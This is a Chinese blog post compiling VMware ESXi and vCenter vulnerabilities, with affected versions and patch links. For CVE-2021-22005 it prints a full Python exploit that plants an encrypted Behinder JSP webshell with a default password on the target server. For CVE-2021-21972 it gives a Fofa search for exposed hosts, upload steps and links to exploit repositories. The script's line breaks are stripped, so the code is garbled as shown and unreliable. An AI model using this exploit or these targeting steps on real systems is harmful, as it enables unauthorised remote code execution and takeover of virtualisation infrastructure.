文章目录

  • 前言
  • 漏洞一、VMware ESXI 远程代码执行漏洞(CVE-2020-3992)
  • 漏洞二、VMware ESXI身份验证和拒绝服务漏洞
    • 1、 VMware ESXi SFCB身份验证绕过漏洞(CVE-2021-21994)
    • 2、VMware ESXi OpenSLP拒绝服务漏洞(CVE-2021-21995)
  • 漏洞三、VMware vCenter Server 任意文件上传漏洞复现(CVE-2021-22005)
  • 漏洞四、VMware VCenter未授权任意文件上传漏洞(CVE-2021-21972)
  • 漏洞五、VMware vCenter Server远程代码执行漏洞(CVE-2021-21985)
  • 相关链接

前言

本文章主要对VMware ESXI、VMware VCenter系列进行漏洞整理,更多内容后续补充!


漏洞一、VMware ESXI 远程代码执行漏洞(CVE-2020-3992)

漏洞概述:
漏洞来源于ESXi中使用的OpenSLP存在“use-after-free”释放后重利用问题,当攻击者在管理网络(management network)中时,可以通过访问ESXi宿主机的427端口触发OpenSLP服务的user-after-free,从而导致远程代码执行。

影响范围

受影响产品版本

•    ESXi = 6.5
•   ESXi = 6.7
•   ESXi = 7.0
•   VMware Cloud Foundation (ESXi) = 3.X
•   VMware Cloud Foundation (ESXi) = 4.X

不受影响产品版本

•    ESXi650-202010401-SG
•   ESXi670-202010401-SG
•   ESXi_7.0.1-0.0.16850804
•   VMware Cloud Foundation (ESXi) = 3.10.1.1
•   VMware Cloud Foundation (ESXi) = 4.1

漏洞防护

漏洞二、VMware ESXI身份验证和拒绝服务漏洞

漏洞概述:

VMware ESXi中存在身份验证绕过漏洞(CVE-2021-21994)和拒绝服务漏洞(CVE-2021-21995),攻击者可利用这两个漏洞绕过身份验证和发起拒绝服务攻击。

1、 VMware ESXi SFCB身份验证绕过漏洞(CVE-2021-21994)

由于ESXi中使用的SFCB(Small Footprint CIM Broker)存在身份验证绕过漏洞,具有5989端口访问权限的攻击者可以利用该漏洞发送恶意请求来绕过SFCB身份验证。(注:在默认情况下,ESXi上未启用SFCB服务)

2、VMware ESXi OpenSLP拒绝服务漏洞(CVE-2021-21995)

由于堆越界读取问题,ESXi中使用的OpenSLP存在拒绝服务漏洞。具有427端口访问权限的攻击者可以在OpenSLP服务中触发堆越界读取,从而导致拒绝服务。

影响范围

VMware ESXi 7.0
VMware ESXi 6.7
VMware ESXi 6.5
VMware Cloud Foundation (ESXi) 4.x
VMware Cloud Foundation (ESXi) 3.x

漏洞防护

目前官方已发布安全版本,建议受影响用户及时下载相应补丁包进行防护:

1、CVE-2021-21994:
https://kb.vmware.com/s/article/1025757

2、CVE-2021-21995:
https://kb.vmware.com/s/article/76372

漏洞三、VMware vCenter Server 任意文件上传漏洞复现(CVE-2021-22005)


漏洞概述

在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。

影响范围

VMware vCenter Server 7.0系列 < 7.0 U2c
VMware vCenter Server 6.7系列 < 6.7 U3o
VMware vCenter Server 6.5系列 不受漏洞影响

安全版本

VMware vCenter Server 7.0 U2c
VMware vCenter Server 6.7 U3o

利用脚本

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def id_generator(size=6, chars=string.ascii_lowercase + string.digits):return ''.join(random.choice(chars) for _ in range(size))def escape(_str):_str = _str.replace("&", "&amp;")_str = _str.replace("<", "&lt;")_str = _str.replace(">", "&gt;")_str = _str.replace("\"", "&quot;")return _strdef str_to_escaped_unicode(arg_str):escaped_str = ''for s in arg_str:val = ord(s)esc_uni = "\\u{:04x}".format(val)escaped_str += esc_unireturn escaped_strdef createAgent(target, agent_name, log_param):url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close" }json_data = { "manifestSpec":{}, "objectType": "a2","collectionTriggerDataNeeded": True,"deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7","localPayloadPath": "a8","localObfuscationMapPath": "a9" }requests.post(url, headers=headers, json=json_data, verify=False)def generate_manifest(webshell_location, webshell):manifestData = """<manifest recommendedPageSize="500"><request><query name="vir:VCenter"><constraint><targetType>ServiceInstance</targetType></constraint><propertySpec><propertyNames>content.about.instanceUuid</propertyNames><propertyNames>content.about.osType</propertyNames><propertyNames>content.about.build</propertyNames><propertyNames>content.about.version</propertyNames></propertySpec></query></request><cdfMapping><indepedentResultsMapping><resultSetMappings><entry><key>vir:VCenter</key><value><value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping"><resourceItemToJsonLdMapping><forType>ServiceInstance</forType><mappingCode><![CDATA[  #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))###set($orig_log = $appender.getFile())###set($logger = $GLOBAL-logger.logger.parent)##  $appender.setFile("%s")##  $appender.activateOptions()## $logger.warn("%s")## $appender.setFile($orig_log)##  $appender.activateOptions()##]]></mappingCode></resourceItemToJsonLdMapping></value></value></entry></resultSetMappings></indepedentResultsMapping></cdfMapping><requestSchedules><schedule interval="1h"><queries><query>vir:VCenter</query></queries></schedule></requestSchedules></manifest>""" % (webshell_location, webshell)return manifestDatadef arg():parser = argparse.ArgumentParser()parser.add_argument("-t", "--target", help = "Target", required = True)args = parser.parse_args()target = args.targetprint("[*] Target: %s" % target)return targetdef exec():target = arg()# Variableswebshell_param = id_generator(6)log_param = id_generator(6)agent_name = id_generator(6)shell_name = "Server.jsp"webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_namewebshell = str_to_escaped_unicode(webshell)manifestData = generate_manifest(webshell_location,webshell)print("[*] Creating Agent")createAgent(target, agent_name, log_param)url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"}json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}requests.post(url, headers=headers, json=json_data, verify=False)#webshell连接地址url = "%s/idm/..;/%s" % (target, shell_name)code = requests.get(url=url, headers=headers,verify=False).status_codeif code != "404":print("webshell地址: %s" % url)print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )else:print("未获取到webshell地址")if __name__ == '__main__':exec()

漏洞四、VMware VCenter未授权任意文件上传漏洞(CVE-2021-21972)


漏洞描述:

CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c VMware vCenter Server 6.7系列 < 6.7.U3l VMware vCenter Server 6.5系列 < 6.5 U3n VMware ESXi 7.0系列 < ESXi70U1c-17325551 VMware ESXi 6.7系列 < ESXi670-202102401-SG VMware ESXi 6.5系列 < ESXi650-202102101-SG 测试通过版本VMware-VCSA-all-6.7.0-8217866 VMware-VIM-all-6.7.0-8217866 2021-02-24

Fofa查询

Fofa语法-> title=“+ ID_VC_Welcome +”

Poc -> https://x.x.x.x/ui/vropspluginui/rest/services/uploadova

如果404401,则代表不存在漏洞,如果405200,则代表可能存在漏洞

利用方式

使用 Tabbed Postman - REST Client 工具 POST请求上传shell文件 也可使用 postman #注:返回状态码200 SUCCESS即上传成功。


使用冰蝎3.0连接shell 即可! 连接地址:x.x.x.x/ui/resources/shell.jsp、密码3.0默认。

脚本如下

https://github.com/horizon3ai/CVE-2021-21972
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/

修复建议

vCenter Server7.0版本升级到7.0.U1c
vCenter Server6.7版本升级到6.7.U3l
vCenter Server6.5版本升级到6.5 U3n

漏洞五、VMware vCenter Server远程代码执行漏洞(CVE-2021-21985)


漏洞概述:

该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。能通过443端口访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在目标机器上执行任意代码。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1

利用脚本

https://github.com/r0ckysec/CVE-2021-21985
https://github.com/xnianq/cve-2021-21985_exp

相关链接

Vcenter实战利用方式可详情右侧文章链接:https://mp.weixin.qq.com/s/PpH8obumyMYQi95cQLqOSw

VMware vcenter/ESXI系列漏洞总结相关推荐

  1. 速修复!VMware vCenter Server 所有版本受严重的 RCE 漏洞影响

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 VMware 修复了位于 vCenter Server 中的一个严重漏洞.攻击者可利用该漏洞在服务器上执行任意代码. 该漏洞的编号是 CV ...

  2. VMware vSphere ESXi 和 vCenter Server 5.1 文档地址

    VMware vSphere ESXi 和 vCenter Server 5.1 文档地址       https://pubs.vmware.com/vsphere-51/index.jsp?top ...

  3. VMware ESXi 高危漏洞的补丁被指不完整

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本周三,VMware 通知客户称,了解到上个月某个严重漏洞的补丁不完整后,已为 ESXi 发布新补丁. 该漏洞的编号是 CVE-202 ...

  4. VMware vCenter Server 8.0安装并添加ESXi 7.0主机(含ESXi 6.7版本升级至7.0版本)

    目录 一.VMware vSphere虚拟化方案名词梳理 1.VMware Workstation:虚拟化工具 2.VMware vSphere:虚拟化方案 2.1 ESXi:裸金属架构的虚拟化技术 ...

  5. VMware vCenter Converter Standlone迁移手册

    目   录 1.VMware vCenter Converter Standalone 简介 3 1.1  Converter Standalone 组件及克隆方式 3 1.2  Converter ...

  6. (复现)CVE-2021-21985 Vmware vcenter远程代码执行RCE

    0x00 简介 vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi.vCenter Server 等一系列的软件.其中 vCenter Server 为 ESXi 的控制中心,可从 ...

  7. VMware虚拟化--ESXi安装时考虑因素

    VMware虚拟化--ESXi安装时考虑因素 虚拟化不仅仅是将服务器虚拟化了,同时包括了网络,存储等,所以在搭建虚拟化环境之前一定要规划好虚拟化的架构. 搭建虚拟化环境首先要解决几个问题: 1. 安装 ...

  8. Vmware Vcenter 5.1 部署安装过程 part 4 vmware vcenter 安装步骤

    Vmware  Vcenter 5.1  部署安装过程 part 4 vmware vcenter  安装步骤 作者:黄鑫      时间:2013-8-14    QQ:153890227(欢迎交流 ...

  9. VMware vCenter 6.0 安装及群集配置介绍

    一.介绍 VMware vCenter Server 提供了一个可伸缩.可扩展的平台,为虚拟化管理奠定了基础.可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了 IT 管理员 ...

最新文章

  1. [C#] Delegate, Multicase delegate, Event
  2. “国家使命”图书第一批权威发布
  3. IPv6套接字编程介绍
  4. pandas 处理时间戳数据
  5. LeetCode刷题——无重复字符的最长子串
  6. 如何将dmp文件里的某张表导入oracle数据库
  7. 一行代码能做什么? 看到最后一个我终于忍不住...
  8. Centos 7 一键安装openstack
  9. 华为海思芯片自立自强!
  10. HTML MarkDown编辑器实现
  11. 博科交换机建立Zone基本配置
  12. python3-关于GitHub的最基本操作
  13. MAT分析器中的shallow and retained heap详解
  14. 分享几个小程序开发的小案例
  15. 2020年9月-上海-bilibli(B站总部)面试题
  16. SATA硬盘性能测试软件,趣味测试:实测SATA线对硬盘性能的影响
  17. yocto bsp-开发人员指南
  18. 程序员的国庆大阅兵,太好好好好好好看了吧 ……
  19. python===range()函数
  20. IT 行业的创新 - 创新的迷思

热门文章

  1. 【考研经验】2018北邮计算机学院考研经验(复试经验较多)
  2. java计算机毕业设计小区广告位招商系统源代码+数据库+系统+lw文档
  3. php机器人聊天对话框,php版小黄鸡simsimi聊天机器人接口分享
  4. 军品研发过程及文件要求
  5. 关于EasyUI中的Tree
  6. Linux搭建Kafka开发环境
  7. 计算机错误代码18,计算机错误代码.doc
  8. 微软Win10轻松转换MBR为GPT官方教程
  9. 【项目实战】Python基于librosa和人工神经网络实现语音识别分类模型(ANN算法)项目实战
  10. 举个栗子!Tableau技巧(39):巧妙制作分类桑基图